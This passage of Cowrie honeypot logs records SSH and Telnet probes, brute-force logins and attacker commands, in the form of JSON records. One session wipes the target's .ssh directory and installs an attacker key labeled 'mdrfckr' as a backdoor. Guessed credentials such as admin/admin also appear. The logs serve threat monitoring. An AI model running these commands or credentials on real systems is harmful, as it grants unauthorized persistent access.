"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:35:13.805777Z","src_ip":"187.230.120.231","session":"a261e47d757f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"1","message":"login attempt [steam/1] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:35:14.278318Z","src_ip":"187.230.120.231","session":"a261e47d757f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:35:14.548622Z","src_ip":"187.230.120.231","session":"a261e47d757f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:35:14.551930Z","src_ip":"187.230.120.231","session":"a261e47d757f","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:35:14.555798Z","src_ip":"187.230.120.231","session":"a261e47d757f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:35:14.669486Z","src_ip":"187.230.120.231","session":"a261e47d757f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:35:14.941768Z","src_ip":"187.230.120.231","session":"a261e47d757f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:35:14.945567Z","src_ip":"187.230.120.231","session":"a261e47d757f","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/steam/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:35:15.061384Z","src_ip":"187.230.120.231","session":"a261e47d757f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:35:15.065723Z","src_ip":"187.230.120.231","session":"a261e47d757f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"187.230.120.231","src_port":43364,"dst_ip":"10.17.0.5","dst_port":22,"session":"a98799565c75","protocol":"ssh","message":"New connection: 187.230.120.231:43364 (10.17.0.5:22) [session: a98799565c75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:35:15.168729Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:35:15.175254Z","src_ip":"187.230.120.231","session":"a98799565c75","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:35:15.288986Z","src_ip":"187.230.120.231","session":"a98799565c75","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:35:15.765978Z","src_ip":"187.230.120.231","session":"a98799565c75","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"59.152.96.9","src_port":51298,"dst_ip":"10.17.0.5","dst_port":23,"session":"5c1e7d2be64e","protocol":"telnet","message":"New connection: 59.152.96.9:51298 (10.17.0.5:23) [session: 5c1e7d2be64e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:35:16.366364Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:35:16.884786Z","src_ip":"187.230.120.231","session":"a98799565c75","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"187.230.120.231","src_port":43376,"dst_ip":"10.17.0.5","dst_port":22,"session":"88eda59b4cc7","protocol":"ssh","message":"New connection: 187.230.120.231:43376 (10.17.0.5:22) [session: 88eda59b4cc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:35:16.997076Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:35:17.006257Z","src_ip":"187.230.120.231","session":"88eda59b4cc7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:35:17.123992Z","src_ip":"187.230.120.231","session":"88eda59b4cc7","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"3245gs5662d34","message":"login attempt [steam/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:35:17.599540Z","src_ip":"187.230.120.231","session":"88eda59b4cc7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:35:17.713648Z","src_ip":"187.230.120.231","session":"a261e47d757f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:35:17.718340Z","src_ip":"187.230.120.231","session":"88eda59b4cc7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":58490,"dst_ip":"10.17.0.5","dst_port":23,"session":"ff4bef5d8fc9","protocol":"telnet","message":"New connection: 45.58.127.90:58490 (10.17.0.5:23) [session: ff4bef5d8fc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:35:28.532997Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":18158,"dst_ip":"10.17.0.5","dst_port":22,"session":"874ffaa9ea73","protocol":"ssh","message":"New connection: 87.251.64.176:18158 (10.17.0.5:22) [session: 874ffaa9ea73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:35:29.722371Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:35:29.726958Z","src_ip":"87.251.64.176","session":"874ffaa9ea73","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:35:29.823530Z","src_ip":"87.251.64.176","session":"874ffaa9ea73","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:35:30.115442Z","src_ip":"87.251.64.176","session":"874ffaa9ea73","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:35:30.219937Z","session":"874ffaa9ea73","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:35:30.476841Z","src_ip":"87.251.64.176","session":"874ffaa9ea73","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:35:30.597301Z","src_ip":"87.251.64.176","session":"874ffaa9ea73","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":16.9942409992218,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:35:33.360508Z","src_ip":"59.152.96.9","session":"5c1e7d2be64e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"196.189.17.16","src_port":9948,"dst_ip":"10.17.0.5","dst_port":23,"session":"f2f615f31e1b","protocol":"telnet","message":"New connection: 196.189.17.16:9948 (10.17.0.5:23) [session: f2f615f31e1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:35:54.735819Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":46580,"dst_ip":"10.17.0.5","dst_port":23,"session":"e030f29854ce","protocol":"telnet","message":"New connection: 45.58.127.90:46580 (10.17.0.5:23) [session: e030f29854ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:35:58.730970Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":58824,"dst_ip":"159.203.135.109","dst_port":23,"session":"43bb66af49ae","protocol":"telnet","message":"New connection: 147.182.143.59:58824 (159.203.135.109:23) [session: 43bb66af49ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:36:04.566601Z"}
{"eventid":"cowrie.session.closed","duration":36.11050271987915,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:36:04.643391Z","src_ip":"45.58.127.90","session":"ff4bef5d8fc9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":58832,"dst_ip":"159.203.135.109","dst_port":23,"session":"2c7eca21241d","protocol":"telnet","message":"New connection: 147.182.143.59:58832 (159.203.135.109:23) [session: 2c7eca21241d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:36:05.554381Z"}
{"eventid":"cowrie.session.connect","src_ip":"187.230.120.231","src_port":51858,"dst_ip":"10.17.0.5","dst_port":22,"session":"80106e45f0d4","protocol":"ssh","message":"New connection: 187.230.120.231:51858 (10.17.0.5:22) [session: 80106e45f0d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:36:08.756623Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:36:08.761645Z","src_ip":"187.230.120.231","session":"80106e45f0d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:36:08.878770Z","src_ip":"187.230.120.231","session":"80106e45f0d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":14.359312534332275,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:36:09.094968Z","src_ip":"196.189.17.16","session":"f2f615f31e1b","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user2","password":"user123","message":"login attempt [user2/user123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:36:09.352011Z","src_ip":"187.230.120.231","session":"80106e45f0d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:36:10.471272Z","src_ip":"187.230.120.231","session":"80106e45f0d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":11.041420459747314,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:36:15.607893Z","src_ip":"147.182.143.59","session":"43bb66af49ae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.353455066680908,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:36:19.907735Z","src_ip":"147.182.143.59","session":"2c7eca21241d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":36964,"dst_ip":"10.17.0.5","dst_port":23,"session":"5660b4434869","protocol":"telnet","message":"New connection: 45.58.127.90:36964 (10.17.0.5:23) [session: 5660b4434869]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:36:24.244992Z"}
{"eventid":"cowrie.session.closed","duration":43.69139242172241,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:36:42.422258Z","src_ip":"45.58.127.90","session":"e030f29854ce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":57180,"dst_ip":"10.17.0.5","dst_port":23,"session":"07c9c1a11c64","protocol":"telnet","message":"New connection: 45.58.127.90:57180 (10.17.0.5:23) [session: 07c9c1a11c64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:36:49.426697Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":57184,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa9126da4e6e","protocol":"telnet","message":"New connection: 45.58.127.90:57184 (10.17.0.5:23) [session: fa9126da4e6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:36:54.934781Z"}
{"eventid":"cowrie.session.closed","duration":37.23064684867859,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:37:01.475557Z","src_ip":"45.58.127.90","session":"5660b4434869","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"187.230.120.231","src_port":51618,"dst_ip":"10.17.0.5","dst_port":22,"session":"713008e38b23","protocol":"ssh","message":"New connection: 187.230.120.231:51618 (10.17.0.5:22) [session: 713008e38b23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:37:07.055562Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:37:07.061453Z","src_ip":"187.230.120.231","session":"713008e38b23","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-